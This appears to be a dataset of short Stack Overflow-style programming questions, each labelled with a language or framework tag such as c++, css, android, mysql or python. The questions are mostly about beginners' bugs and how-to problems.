a function template using std::forward and rvalue  given the following function template from  the c++ programming language 4th edition :   <pre><code>template &lt;typename tt  typename a&gt; unique_ptr&lt;tt&gt; make_unique(int i  a &amp;&amp; a) {       return unique_ptr&lt;tt&gt;{new tt{ i  std::forward&lt;a&gt;(a) }}; }  </code></pre>   i find it difficult to understand what that actually does     a is definitely an rvalue and therefore the make_unique function  seem to allocate its content on the heap and holding that address in a unique_ptr so we won t have to worry about deleting it. but  what does the standard library forward function does  (i guess it has something to do with a being rvalue) i tried reading at c++ documentation but i don t seem to understand that properly. would love to get a good explanation from a more experienced c++ programmer.    thanks!,c++
how to set only am time for an uidatepicker   right now i am using an <code>uidatepicker</code> with mode set to <code>time</code> only. so i can choose between am and pm time.      is there a way to prevent choosing pm time   my app is using a morning routine so there is no point on selecting pm time.      at least i want to always show an am time  right now it displays the current time (so if it s pm  i have to change it to am).,ios
writing and reading vector into binary files  i have a vector:   <pre><code>class element { public:      string pathname;     ui64 offsiteptr;     ui64 subpage;  public:      element(void);      ~element(void); };  vector&lt;element&gt; elem; </code></pre>   the size of <code>elem</code> will be controlled less than 4096 bytes. at the end of the program  i should <code>fwrite</code> <code>elem</code> into a binary file. the solution i m using currently is to make a char buffer and write the element in <code>elem</code> in it. i don t think it is a good idea. is there any other good ideas,c++
redirect url with www and fails with http  the page opens when i give  www.lemonmatrix.com    but it fails to open when i am trying to open it by giving     <a href= http://lemonmatrix.com  rel= nofollow >http://lemonmatrix.com</a> or lemonmatrix.com    please help me out with the problem and also what steps should be taken to run it perfectly with http.,html
setting up ruby on rails  how do you go about setting up a rails application on a standard web server  i want to just throw my application into cgi-bin and run it  but rails clearly wants to control the file system and how file accesses are routed. so it s all very well working on my application in its little sandbox  but how do you actually close the gap and serve an application,ruby-on-rails
css nested ul menus  4 levels  i m re-designing our administration menu (its currently vertical and long/confusing) so i wanted to do a condensed horizontal one instead.  i ve been fiddling with this for a week now and i m about to rip my hair out.    here is a version you can see:    <a href= https://www.fromnaturewithlove.com/menuitems.asp  rel= nofollow >horizontal menu with 3 submenus</a>    my css can be viewed here:    <a href= https://www.fromnaturewithlove.com/menu.css  rel= nofollow >css file</a>    just a few quirks and i can t figure out how to fix them.  i ll list them here separately:    level 1 (the main buttons) are fine    level 2 (tina) looks fine     level 3 (tina/inventory)  the 3rd level options are behind the level 2 ones.  how do i get those in front of the level 2 stuff    ideally  i d like level 3 to have the background color of #e4f683 and a hover color of #f6ed83 (for the adjust on hand  component report  manage oos)    level 4 (customers/orders/handpost)  the level 4 stuff shows up when you hover over level 2... at that point level 3 should show  but level 4 should be hidden until you hover; same problem as above in that level 4 is behind level 3. ideally  i d like the background color of #e0f574 and a hover color of #aec245 (transaction  shipping  credit)    i really wouldn t mind if the level 3/4 weren t over level 2  but just lined up with them - this would fix the  behind/front  issue  but i can t seem to figure how what to change to make it work that way    i d also like levels 2/3/4 to not be quite so high (there s quite a few more entries that i need to add)  but i can t seem to figure out how to change my css to fix that    if someone could help me re-write my css to work how i really intend it to  i ll... well  i dunno  send you some cookies or something!  i ve looked and looked at this css til i m cross-eyed!    i tried to post images to make it clearer but the system won t let me.      mahalo!,css
change animation in runtime  i want to achieve simple tasks - before dialog is dismissed  i want to set different close animation depending on my logic (getwindow().getattributes().windowanimations = ...). for examle  i have 2 buttons on dialog and i want to slide left if first is pressed  slide right if second is pressed. i have created style file with some animations for android:windowexitanimation and android:windowenteranimation and they work if passed in custom dialog constructor. but i cant override windowanimations within the code as constructor approach can no be used as i need different animations. how can it be done and why this code is not working    <pre><code>        // close button         _button_close = (imagebutton)findviewbyid(r.id.buttonclose);          if (_button_close != null)          {             _button_close.setonclicklistener(                 new button.onclicklistener()                  {                       public void onclick(view v)                     {                         // set animation                         getwindow().getattributes().windowanimations = r.style.dialogslideoutleft;                          // close form                         dismiss();                     }                 }             );         }    </code></pre>,android
is it a good idea to call virtual function in copy assignment(operator=)   as we known  we should not call virtual function in constructor or destructor.    i am wondering whether we should not call virtual function in copy assignment (operator=)either,c++
envoking scheduled task or service in .net  so i come across many resources taking about why scheduler is better then windows service etc. but confusion remains for my requirement    - i have a ui app where end users can run a job immediately or  schedule  it for later with information of start time and owner saved in a sql table. since end user(s) [max 100] can give in any time - this is not periodic or with set intervals - whats best to use in this case   also are there any predefined templates to carry out the above task      edit for more information:  job = calling a stored procedure. i.e. if user clicks to run now  the sp is executed. else s/he can put it to execute in future with date time information saved in a table.  ui = asp.net application.,.net
css position absolute and relative  i have one outer div and two children divs. i want the outer div fixed to the window  one child div to the left most of the parent div and another to the right most of the parent div.       when i <code>position: fixed</code> the parent  it is fixed to the window but the two child divs stick to the left and overlap. if i <code>position: relative</code> the parent  the two child divs stick to the left and right respectively but it is not fixed to the top of the window.      how can i do it  thanks!   <pre><code>&lt;div class= nav-wrapper &gt;  &lt;div class= child1 &gt;&lt;/div&gt;  &lt;div class= nav-pages &gt;&lt;/div&gt; &lt;/div&gt;  </code></pre>   my css:     <pre><code>nav {  @media only screen and (min-width: 0) {  height: 3em;  .nav-wrapper {   padding: .7em 1em 0 1em;  } }  @media only screen and (min-width: $medium-screen) {  height: 500px;  .nav-wrapper {   padding: 0em 1em 0 1em;   height: 64px;   position: relative;   background-color: rgba(60 63 65 0.22);   } } }  nav {  background-image: url( http://image.insider-journeys.com/overview/china.jpg );  background-size: cover; }  .navbar-non-link {   padding: 0 15px; }  .nav-pages {   padding-right: 0px; }  .side-nav {   width: 500px; } </code></pre>,css
are angular core services preceded by  $    i m loving angular so far and am trying to tie up some loose ends.    so in the following:   <pre><code>angular.module( myapp ) .factory( auth   function auth($location  $rootscope  session  user  $cookiestore){ </code></pre>   is it correct to assume session and user are user defined services  and $location  $rootscope and $cookiestore are core services  is there any case when user defined services might have a preceding  $   or core services do not,angularjs
match against in joined table results in an error  i have two tables. in a query which joins them together i try to make a full-text search like this:   <pre><code>select o44_1_0.attr_80748_ as attr_80737_  match o44_1_0.attr_80748_ against ( something  in boolean mode)  as relev   from object_80726_ f1   left outer join (  select id_field  attr_80748_ from (    select m0.id_field   attr_80748_  from object_80738_ o    inner join master_slave m0 on (m0.id_object = 80726) and (m0.id_master = 80738) and m0.id_slave_field = o.id                            order by  o.id_order   ) as o  group by id_field  )  as o44_1_0 on f1.id = o44_1_0.id_field  </code></pre>   it may look terrible for you  but do not pay any attention to details of the query. just have a look at how i do a full-text search:   <pre><code>...match o44_1_0.attr_80748_ against ( something  in boolean mode)  as relev... </code></pre>   this part of the query results in an error:   <pre><code>error code : 1214 the used table type doesn t support fulltext indexes </code></pre>   if i comment this out  then everything is ok. however  the error does not seem to be correct  because if i do a full-text search in the joined table itself  then the query runs without any problem. so  this works:   <pre><code>select attr_80748_  match attr_80748_ against ( something  in boolean mode)  as relev   from object_80738_ </code></pre>   so  the very same table and the very same field  but this time mysql does not throw any error.,mysql
can t understand compiler s behaviour (creating object)  i wrote the following code:   <pre><code>#include &lt;iostream&gt;  class a { public:     a(){ std::cout &lt;&lt;  created  &lt;&lt; std::endl; }     a(a&amp; other) { std::cout &lt;&lt;  copied  &lt;&lt; std::endl; }     a&amp; get(){ std::cout &lt;&lt; got  &lt;&lt; std::endl; return *this; }     ~a(){ std::cout &lt;&lt;  destroyed  &lt;&lt; std::endl; } }; </code></pre>   now  lines   <pre><code>a a = a().get(); </code></pre>   and   <pre><code>a a;     a = a(); </code></pre>   compile and work correctly  but    <pre><code>a a = a(); </code></pre>   claims:   <pre><code>no matching function for call to ‘a::a(a)’ note: candidates are: a::a(a&amp;) note:                 a::a() </code></pre>   and to make things explicit     <pre><code>a a = (a&amp;)a(); </code></pre>   claims:   <pre><code>error: invalid cast of an rvalue expression of type ‘a’ to type ‘a&amp;’ </code></pre>   i completely don t understand this behaviour.    p.s. i know  that if i make <code>const</code> reference in copy c_tor  everything will be ok.,c++
angular number input: how to change comma og decimal  i ve created this directive in angular:   <pre><code>myapp.directive( dfnumber   function () {     return {         restrict:  a           require:   ngmodel           link: function (scope  element  attr  ngmodel) {              ngmodel.$parsers.unshift(function (newvalue) {                 var floatvalue = parsefloat(newvalue.replace(      . ));                 return parsefloat(floatvalue.tofixed(2));             });              element.on( change   function (e) {                 var floatvalue = parsefloat(element.val().replace(      . ));                 element.val(floatvalue);             });         }     }; }); </code></pre>   it s tasks is to transform input like  12 34  to a valid number  12.24 . both the value in the input field and in the model.    if i use it on a <code>input[type= text ]</code> it is working as expected:   <pre><code>&lt;div class= form-group &gt;     &lt;label for= number &gt;text input&lt;/label&gt;     &lt;input dfnumber=   type= input  class= form-control  ng-model= number  /&gt;     number:{{number}} &lt;/div&gt; </code></pre>   but i m interested in using the <code>input[type= number ]</code> instead  because of it s min and max properties:   <pre><code>&lt;div class= form-group &gt;     &lt;label for= number &gt;number input&lt;/label&gt;     &lt;input dfnumber=   type= number  min= 0  max= 100  class= form-control  ng-model= number2 /&gt;     number:{{number2}} &lt;/div&gt; </code></pre>   but on this number input it s not working. how can i fix this     see my jsfiddle: <a href= http://jsfiddle.net/dennismadsen/kl45085b/  rel= nofollow >http://jsfiddle.net/dennismadsen/kl45085b/</a>.,angularjs
make the parameter as reference  i want to make the parameter as a reference so i can use the  nextfreeplace  in my main function. the issues is that i dont really understand the term of making parameter as a reference. can anyone help please. i got compile warnings too.    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;   /* these arrays are just used to give the parameters to  insert      to create the  people  array */ char *names[7]= { simon    suzie    alfred    chip    john    tim              harriet }; int ages[7]= {22  24  106  6  18  32  24};   /* declare your struct for a person here */ typedef struct{   char *names;   int ages;  }  person;  static void insert (person **p  char *s  int n  int *nextfreeplace) {   *p = malloc(sizeof(person));  /*static int nextfreeplace = 0;*/  /* put name and age into the next free place in the array parameter here */ (*p)-&gt;names=s; (*p)-&gt;ages=n;     /*  make the parameter as reference*/      sscanf(nextfreeplace  %d   *p);     /* modify nextfreeplace here */   (*nextfreeplace)++;    }  int main(int argc  char **argv) {    /* declare nextinsert */    int *nextfreeplace = 0;     /* declare the people array here */    person *p[7];     //insert the members and age into the unusage array.    for (int i=0; i &lt; 7; i++) {     insert (&amp;p[i]  names[i]  ages[i]  nextfreeplace);     /* do not dereference the pointer */   }    /* print the people array here*/   for (int i=0; i &lt; 7; i++) {     printf( the name is: %s  the age is:%i\n   p[i]-&gt;names  p[i]-&gt;ages);   }     /* this is the third loop for call free to release the memory allocated by malloc */   /* the free()function deallocate the space pointed by ptr. */   for(int i=0; i&lt;7;i++){     free(p[i]);   }  } </code></pre>,c
angular replace was not working  a =  it was popularised&lt;br&gt; in the 1960s with&lt;br&gt; the release of letraset sheets containing lorem ipsum passages  and more recently with desktop publishing software like aldus pagemaker including versions of lorem ipsum. ;   <pre><code>a.replace(/\n|\t/g  &amp;lt;br&amp;gt; ); </code></pre>   all br tags need to replace with <code>\n\t</code> but it was not working .,angularjs
where do we really need to use wide character stream wcout   i can t get the point of using <code>std::wcout</code>. as far as i ve understood the <code>wide stream</code> object corresponds to a  c wide-oriented stream (<code>iso c 7.19.2/5</code>). when do we really need to use it in practice. i m pretty sure it doesn t suit to output a character from an implementation s <code>wide character set</code> <code>n3797::3.9.1/5 [basic.fundamental]</code>  because    <pre><code>#include &lt;iostream&gt; #include &lt;locale&gt;  int main() {     std::locale loc = std::locale ( en_us.utf-8 );     std::wcout.imbue(loc);     std::cout &lt;&lt;  ي  &lt;&lt; std::endl;                         // ok!     std::wcout &lt;&lt;  ي  &lt;&lt; std::endl;                        // empty string     std::wcout &lt;&lt;  l specifier =   &lt;&lt; l ي  &lt;&lt; std::endl;   // j     std::wcout &lt;&lt;  u specifier =   &lt;&lt; u ي  &lt;&lt; std::endl;   // 0x400 eac     std::wcout &lt;&lt;  u8 specifier =   &lt;&lt; u8 ي  &lt;&lt; std::endl; // empty string } </code></pre>   <strong><a href= http://coliru.stacked-crooked.com/a/4c117c0254e7d388  rel= nofollow >demo</a></strong>    we can see that <code>wcout</code> s <code>operator&lt;&lt;</code> didn t print these characters correct  meanwhile <code>cout</code> s <code>operator&lt;&lt;</code> does it well. i ve also chech <code>wcout</code> on any other charater like  <code> л    ਚੰ    ਗਾ    კ    ა    რ    გ    ი </code> and so on and so forth  but it prints well only a latinic characters or a numbers.,c++
what does the caret sign mean in objective-c   there is a piece of code like   <pre><code>typedef void (^signin) (nsstring *email  nsstring *password); </code></pre>   what does the ^ mean before signin  is this objective-c specific usage,objective-c
should extension properties be added to c# 4.0   i ve wanted this for fluent interfaces. see  for example <a href= http://channel9.msdn.com/forums/coffeehouse/257556-c-extension-properties/  rel= nofollow noreferrer >this</a> channel9 discussion. would probably <a href= http://ayende.com/blog/archive/2007/12/02/why-c-doesnt-have-extension-properties.aspx  rel= nofollow noreferrer >require</a> also adding indexed properties.    what are your thoughts  would the advantages outweigh the  language clutter,c#
appending image attributes to certain images meeting criteria using javascript  i would like to append the attribute ( nopin =  nopin  ) to the image tags within my page that meet certain criteria using javascript.  is that possible       for example  i have a gallery that uses thumbnails and full size images.  i want to add the tag to any images with a height less than 100px.  the nopin=  nopin  attribute makes it the image not show up when the pinterest pin-it button is used.    any help is appreciated.  thanks!,javascript
calculating amount of months needed to save for house down payment  write a program to calculate how many months it will take you save up enough money for a downpayment.  like before  assume that your investments earn a return of r = 0.04 (or 4%) and the required down payment percentage is 0.25 (or 25%).  have the user enter the following variables:   <ol> <li>the starting annual salary (annual_salary)</li> <li>the percentage of salary to be saved (portion_saved)</li> <li>the cost of your dream home (total_cost)</li> <li>the semi­annual salary raise (semi_annual_raise)em</li> </ol>   this should be the right results: but <strong>my program passes the first test but off by one month in other two  i can t find a solution</strong>    test case 1     <pre><code>enter your starting annual salary: 120000 enter the percent of your salary to save  as a decimal: .05 enter the cost of your dream home: 500000 enter the semi­annual raise  as a decimal: .03 number of months: 142  </code></pre>   test case 2    <pre><code>enter your starting annual salary: 80000 enter the percent of your salary to save  as a decimal: .1 enter the cost of your dream home: 800000 enter the semi­annual raise  as a decimal: .03 number of months: 159  </code></pre>   test case 3    <pre><code>enter your starting annual salary: 75000 enter the percent of your salary to save  as a decimal: .05 enter the cost of your dream home: 1500000 enter the semi­annual raise  as a decimal: .05 number of months: 261  </code></pre>   code:   <pre><code>annual_salary = int(input( salary:  )) portion_saved = float(input( percentage to save:  ))  total_cost = int(input( cost of the house:  )) portion_down_payment = total_cost * 0.25 current_savings = 0 rate = 0.04 number_of_months = 0 semi_annual_raise = float(input( raise:  ))  while current_savings &lt;= portion_down_payment:     current_savings += annual_salary * portion_saved / 12     current_savings += current_savings * rate / 12     number_of_months += 1     if number_of_months % 6 == 0:         annual_salary += annual_salary * semi_annual_raise     print(number_of_months  current_savings)  print( enter your annual salary:    annual_salary)   print( enter the percent of your salary to save  as a decimal:    portion_saved) print( enter the cost of your dream home:    total_cost)  print( number of months:    number_of_months)     </code></pre>,python
snake game using graphics.h library  as i m a starter   i ve been trying to make snake game by using arrays and graphics.h library (well yes it s old   but i must use them to practice for my c++ class) . i m somehow confused about how to make the snake move properly .  when i change the snake s direction   the shape doesn t clear properly .  i d be thankful if you give me a solution to fix that.    <a href= http://i.stack.imgur.com/r5vfn.jpg  rel= nofollow >as you can see in the picture :</a>   <pre><code>#include &lt;iostream&gt; #include &lt;graphics.h&gt; #include &lt;time.h&gt;  using namespace std;  int main() {     initwindow(700 700  snake );     int cx=400; int cy=200;     int x1[701][701]={0};     int rx ry sx;     char ch;      srand(time(null));      rx=rand()%(500-100+1)+100;     ry=rand()%(500-100+1)+100;     x1[rx][ry]=1;      setfillstyle(1 15);     circle(rx ry 2);     floodfill(rx ry 15);      for ( ; ; )     {         delay(10);          setcolor(0);         setfillstyle(1 0);         circle(cx-11 cy 10);         floodfill(cx-11 cy 0);         x1[cx-11][cy]=0;         cx++;          setcolor(15);         setfillstyle(1 15);         circle(cx-10 cy 10);         floodfill(cx-10 cy 15);         x1[cx-10][cy]=2;         for (int i=1 ; i&lt;=10 ;i++)         {             setcolor(15);             setfillstyle(1 15);             circle(cx-i cy 10);             floodfill(cx-i cy 15);             x1[cx-i][cy]=2;         }          if (kbhit())         {             for( ; ; )             {                 if(kbhit())                 {                     ch=getch();                 }              if (ch== s )             {                 cy++;                 sx=1;              }             else if (ch== d )             {                 cx++;                 sx=2;              }             else if (ch== w )             {                 cy--;                 sx=3;              }             else if (ch== a )             {                 cx--;                 sx=4;              }                if ( sx==1 )             {                 delay(10);                 setcolor(0);                 setfillstyle(1 0);                 circle(cx cy-11 10);                 floodfill(cx cy-11 0);                 x1[cx][cy-11]=0;                 cy++;                  setcolor(15);                 setfillstyle(1 15);                 circle(cx cy-10 10);                 floodfill(cx cy-10 15);                 x1[cx][cy-10]=2;                 for (int i=1 ; i&lt;=10 ;i++)                 {                     setcolor(15);                     setfillstyle(1 15);                     circle(cx cy-i 10);                     floodfill(cx cy-i 15);                     x1[cx][cy-i]=2;                 }             }              else if ( sx==2 )             {                 delay(10);                 setcolor(0);                 setfillstyle(1 0);                 circle(cx-11 cy 10);                 floodfill(cx-11 cy 0);                 x1[cx-11][cy]=0;                 cx++;                  setcolor(15);                 setfillstyle(1 15);                 circle(cx-10 cy 10);                 floodfill(cx-10 cy 15);                 x1[cx-10][cy]=2;                 for (int i=1 ; i&lt;=10 ;i++)                 {                     setcolor(15);                     setfillstyle(1 15);                     circle(cx-i cy 10);                     floodfill(cx-i cy 15);                     x1[cx-i][cy]=2;                 }             }              else if ( sx==3 )             {                 delay(10);                 setcolor(0);                 setfillstyle(1 0);                 circle(cx cy+11 10);                 floodfill(cx cy+11 0);                 x1[cx][cy+11]=0;                 cy--;                  setcolor(15);                 setfillstyle(1 15);                 circle(cx cy+10 10);                 floodfill(cx cy+10 15);                 x1[cx][cy+10]=2;                 for (int i=1 ; i&lt;=10 ;i++)                 {                     setcolor(15);                     setfillstyle(1 15);                     circle(cx cy+i 10);                     floodfill(cx cy+i 15);                     x1[cx][cy+i]=2;                 }             }              else if ( sx==4 )             {                 delay(10);                 setcolor(0);                 setfillstyle(1 0);                 circle(cx+11 cy 10);                 floodfill(cx+11 cy 0);                 x1[cx+11][cy]=0;                 cx--;                  setcolor(15);                 setfillstyle(1 15);                 circle(cx+10 cy 10);                 floodfill(cx+10 cy 15);                 x1[cx+10][cy]=2;                 for (int i=1 ; i&lt;=10 ;i++)                 {                     setcolor(15);                     setfillstyle(1 15);                     circle(cx+i cy 10);                     floodfill(cx+i cy 15);                     x1[cx+i][cy]=2;                 }             }                }         }     }     getch();     return 0;     } </code></pre>,c++
how can i read multiple bytes from a file at a time   i want to read 8byte chunks from a binary file at a time till i reach end of the file. why doesn t this code work  what are the alternatives    <pre><code>// read a file into memory #include &lt;iostream&gt; #include &lt;fstream&gt; using namespace std;  int main () {    long long int * buffer;    ifstream is;   is.open ( test.txt   ios::binary );    // allocate memory:   buffer = new long long int;    // read data:   while(!is.eof())       is.read (buffer sizeof(long long int));   is.close();     delete[] buffer;   return 0; } </code></pre>   if i replace all <code>long long int</code> with <code>char</code>  the code works perfectly.    ref: code adapted from <a href= http://www.cplusplus.com/reference/iostream/istream/read/  rel= nofollow >www.cplusplus.com</a>,c++
why are these floating divs not displaying properly   i m trying to create two floating divs inside of another:   <pre><code> &lt;div style= width:100%;height:500px;position:relative;top:15px; &gt;                    &lt;div style= position:relative;float:left;width:58%;height:100%;left:10px; &gt;             &lt;div id= borderdiv  style= position:relative;width:92%;top:20px;bottom:20px;left:20px;border:1px solid #000;background-color:gray; &gt;                 &lt;div style= height:30px;text-align:center;position:relative;     &gt;&lt;h2&gt;welcome&lt;/h2&gt;&lt;/div&gt;                                 &lt;div style= position:relative;width:25%;background-color:green;float:left; &gt;floating div1&lt;/div&gt;                 &lt;div style= position:relative;width:25%;background-color:red;float:left; &gt;floating div2&lt;/div&gt;                            &lt;/div&gt;         &lt;/div&gt;      &lt;/div&gt; </code></pre>   the problem is the floating div1 and div2 are outside the border of the div with id  borderdiv . what am i doing incorrectly,html
how you check intertnet off or on every 10 minutes without using broadcast manager  after every 10 minuted i want to checked whether internet is off or on. if on i want to send  data to server if off i want to save data internally  when again on the internally save data send to server.,android
asp.net 4.5 for windows (without iis)   is there any portable or 3rd party software (like wampserver for php) to do the job of iis (i dont want it) and run asp.net/mvc (latest version) on windows 10 normally     p.s. i have looked through similar topics  but they are 6-7 years older.,asp.net
pass parameter from 1 page to another using post method  i have a page  demo.aspx . i need to set some parameters using post method and redirect the page to  demotest.aspx .    is there any way to set parameters in post method in asp.net  i don t want to set  querystring  due to security propose.    also i need server side code for this. i am not able to use  javascript  or  jquery  for the same. here is some more description for the same.    right now i am using response.redirect( www.abc.com/demotest.aspx p1=2 ). so the page is simply redirect to the given url.    now i don t want to pass that  p1  in   querystring . instead of query string i want to use post method.    please note that redirection page is not in my own application. so i cant maintain session or  viewstate .    thanks in advance.,asp.net
thumbnail grid of images  how does one create a dynamic thumbnail grid      how is a grid created with thumbnails of images like the photo app on iphone      how are these spaces arranged dynamically  e.g. adding and removing thumbnails.,iphone
confusing mysql query  i have two tables  <code>staff</code> and <code>phones</code>.    <code>staff</code> has only one field  <code>staff_id</code>. <code>phones</code> has three fields: <code>staff_id</code>  <code>phone_type</code> and <code>number</code>.    i want to display the staff_id  cell phone number and home phone number of all staff members. but i can t figure out how to have cell phone number and home phone number as separate columns in the result. here s what i ve been trying so far  which puts both types of numbers in the same column.   <pre><code>select staff.staff_id  phones.number from staff left join phones on ( staff.staff_id = phones.staff_id &amp;&amp; ( phones.field_type =  cell  || phones.field_type =  home  ) ) </code></pre>,mysql
how to stop changing url in angularjs $routing   i already have a jquery version of application. it is an spa (single page application) ajax based application. there is one requirement: the url should never change.    i tried to write same application using angular with use of $routeprovider which results in the url being changed. i am expecting that angular version of app will not change url when template changes. any help is appreciated....,angularjs
java convert from string to integer  i have a string 2d array with some words that i search with jcombobox for certain word at the beginning of the line. what i need is to search that same word by its index. but right now i can only search it using .equals method comparing two strings.    example:   <pre><code>string [][]array = new string[arraysize][]; for (int i = 0; i &lt; array.length; i++)        {           if(array[i] != null)            {               if(array[i][0].equals(index)) // how can i use = index                  { </code></pre>   this is my homework.,java
question related to uitextview  how to adjust height of textview programetically as we are typing the text textview should increase upwards with no limit.uiscrollview for textview is disable in our case.we are giving scroll for entire view to see upward contents in textview,iphone
saving the last activity <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2441203/how-to-make-an-android-app-return-to-the-last-open-activity-when-relaunched >how to make an android app return to the last open activity when relaunched </a>    </blockquote>     i m converting my ios app to android. in ios i used nsuserdefaults to save the last view used so it will return on that view after the app has been closed. for android i would like to do the same.    this is what i m trying to achieve:    user navigates to a specific activity > app saves activity in memory > user quits app > user starts app again > user sees the last used activity again.    where should i start looking for  is there a simple way to achieve my goal,android
.net framework version used  i have a third-party program installed  and i want to find out what version of the <a href= http://en.wikipedia.org/wiki/.net_framework  rel= nofollow >.net</a> framework it is using.    how do i figure that out,.net
my submit button won t work in rails and i m not sure why  i m creating a simple form in rails and the submit button doesn t work. i think i m missing something obvious here but the html seems to be fine (i m far froma front end expert). any advice or pointers    <pre><code> &lt;div class= container &gt;             &lt;div class= row &gt;                 &lt;div class= col-lg-12 text-center &gt;                     &lt;h2&gt;apply&lt;/h2&gt;                     &lt;hr class= star-primary &gt;                 &lt;/div&gt;             &lt;/div&gt;             &lt;div class= row &gt;                 &lt;div class= col-lg-8 col-lg-offset-2 &gt;                         &lt;div class= row control-group &gt;                             &lt;% if @user.errors.any  %&gt;                               &lt;div id= error_explanation &gt;                                 &lt;div class= alert alert-error &gt;                                   the form contains &lt;%= pluralize(@user.errors.count   error ) %&gt;.                                 &lt;/div&gt;                                 &lt;ul&gt;                                 &lt;% @user.errors.full_messages.each do |msg| %&gt;                                   &lt;li&gt;* &lt;%= msg %&gt;&lt;/li&gt;                                 &lt;% end %&gt;                                 &lt;/ul&gt;                               &lt;/div&gt;                             &lt;% end %&gt;                             &lt;div class= col-xs-12 floating-label-form-group controls &gt;                                 &lt;%= form_for @user  url: users_path(@user)  :html =&gt; {:method =&gt; :post} do |f| %&gt;                                     &lt;%= f.label :name %&gt;                                     &lt;%= f.text_field :name  class:  form-control   placeholder:  name  %&gt;                                     &lt;%= f.label :email%&gt;                                     &lt;%= f.text_field :email  class:  form-control   placeholder:  email  %&gt;                                     &lt;%= f.label :address%&gt;                                     &lt;%= f.text_field :address  class:  form-control   placeholder:  address  %&gt;                                     &lt;%= f.label :phone %&gt;                                     &lt;%= f.text_field :phone  class:  form-control   placeholder:  phone number  %&gt;                                     &lt;%= f.submit  apply %&gt;                                  &lt;%end%&gt;                              &lt;/div&gt;                         &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt; </code></pre>   also  when the submit button fails  nothing happens. no error messages  no console errors. nothing.,ruby-on-rails
not firing self.viewcontroller.webview.delegate = self+phonegap+secondtime  i have to reload the mainviewcontroller webview second time and reload the webview.    appdelgate:   <pre><code>- (void) webviewdidfinishload:(uiwebview*) thewebview  {       // only valid if foobar.plist specifies a protocol to handle     if (self.invokestring)     {         // this is passed before the deviceready event is fired  so you can access it in js when you receive deviceready         nsstring* jsstring = [nsstring stringwithformat:@ var invokestring = \ %@\ ;   self.invokestring];         [thewebview stringbyevaluatingjavascriptfromstring:jsstring];      }else {             if([logincomplete isequaltostring:@ 1 ] ){               nsstring *page = @ intro.html ;             nsstring* jsstring = [nsstring stringwithformat:@ loadparams( %@   %@   %@ );   at userfbid page];             [thewebview stringbyevaluatingjavascriptfromstring:jsstring];          }          else {             nsstring *page = @ friends.html ;             nsstring* jsstring = [nsstring stringwithformat:@ loadparams( %@   %@   %@ );   at userfbid page];             [thewebview stringbyevaluatingjavascriptfromstring:jsstring];         }           // black base color for background matches the native apps         thewebview.backgroundcolor = [uicolor graycolor];          return [self.viewcontroller webviewdidfinishload:thewebview];     }      -(void)insert{          self.viewcontroller.webview.delegate=self;          } </code></pre>   webdelegate is not firing in insert.    thanks,iphone
how to authenticate the user before going to other script in python  i am new to python  i am trying to built a website with python  which is having 2 webpages.  login.html   details.html     but the user directly entering to details page without login also  how can i stop this     i am able to do it when i am working with django using login_required  but when i am using cgi-bin script python  for webportal how can i stop this     please help me on this.    here is the sample code:    login.html   <pre><code>&lt;form action =  login1.py  method =  post &gt; &lt;label for= uname &gt;&lt;b&gt;username&lt;/b&gt;&lt;/label&gt;     &lt;input type= text  placeholder= enter username  name= uname  required&gt; &lt;br&gt; &lt;br&gt;     &lt;label for= psw &gt;&lt;b&gt;password&lt;/b&gt;&lt;/label&gt;     &lt;input type= password  placeholder= enter password  name= psw  required&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt;     &lt;button type= submit &gt;login&lt;/button&gt; </code></pre>   details.html   <pre><code>&lt;form action =  copy1.py  method =  post &gt; &lt;label for= phone num &gt;phone num:&lt;/label&gt;  &lt;input type =  text  name =  phone num &gt;  &lt;br /&gt; &lt;br &gt; &lt;br &gt; &lt;label for= email &gt;destination path :&lt;/label&gt;  &lt;input type =  text  name =  email  /&gt;  &lt;br&gt; &lt;br &gt; &lt;br &gt; &lt;div id=submit&gt; &lt;input type =  submit  value =  submit  /&gt; </code></pre>   login.py:   <pre><code>print( content-type: text/html ) print(  ) import cgi cgitb def func():      form = cgi.fieldstorage()     cgitb.enable()     username=form.getvalue( uname )     password  = form.getvalue( psw ) userlist=[x g d] passlist=[m ldf] if username in userlist:             if password in passlist:                     redirecturl =  http://localhost/test/details.html                      print( &lt;html&gt; )                     print(   &lt;head&gt; )                     print(     &lt;meta http-equiv= refresh  content= 0;url= +str(redirecturl)+   /&gt; )                     print(   &lt;/head&gt; )                     print( &lt;/html&gt; )             else:                     print( &lt;html&gt; )                     print( &lt;div id= topcorner &gt;  )                     print( please enter valid password )                     print( &lt;/div&gt; )                     print( &lt;/html&gt; )     else:             print( &lt;html&gt; )             print( &lt;div id= topcorner &gt;  )             print( please enter valid username )             print( &lt;/div&gt; )             print( &lt;/html&gt; ) </code></pre>   problem: without login also i am able to open details.html user should authenticate first before going to some other site. please help me on this,python
create simple dynamically centered frame css  i have a simple question for everyone. i am trying to work out how to generate a three column style css skeleton template. i want the middle frame to be centered  but not by statically saying <code>left: 100px</code>   etc.    it would look a little like this.    <a href= http://img847.imageshack.us/img847/566/centerframedynamic.jpg  rel= nofollow noreferrer >http://img847.imageshack.us/img847/566/centerframedynamic.jpg</a>    how do i achieve this,css
is it possible to view an iphones application source code  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2661722/decompile-an-app-binary-to-get-back-to-source-code >decompile an app binary to get back to source code</a><br>   <a href= https://stackoverflow.com/questions/5475875/decompiling-ios-objective-c-binaries >decompiling ios objective-c binaries</a>    </blockquote>     some months ago i developed and ios application. recently i discovered a program called  ifunbox  which through it   i can have access to my application s .nib files   icons etc. i don t own a mac at the moment   so i can t really see if i can open the files with xcode and actually see my code. so is it possible that someone can download through  ifunbox  the .nib files and see my source code   or they are compiled so there is not such an issue,iphone
